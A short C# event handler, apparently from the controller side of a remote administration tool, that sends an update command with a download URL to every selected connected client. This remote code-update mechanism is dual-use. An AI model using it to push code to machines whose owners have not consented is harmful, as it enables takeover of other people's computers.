private void ctxtUpdate_Click(object sender, EventArgs e) { if (lstClients.SelectedItems.Count != 0) { frmUpdate frmU = new frmUpdate(lstClients.SelectedItems.Count); if (frmU.ShowDialog() == System.Windows.Forms.DialogResult.OK) { foreach (ListViewItem lvi in lstClients.SelectedItems) { Client c = (Client)lvi.Tag; new Core.Packets.ServerPackets.Update(_Update.DownloadURL).Execute(c); } } } }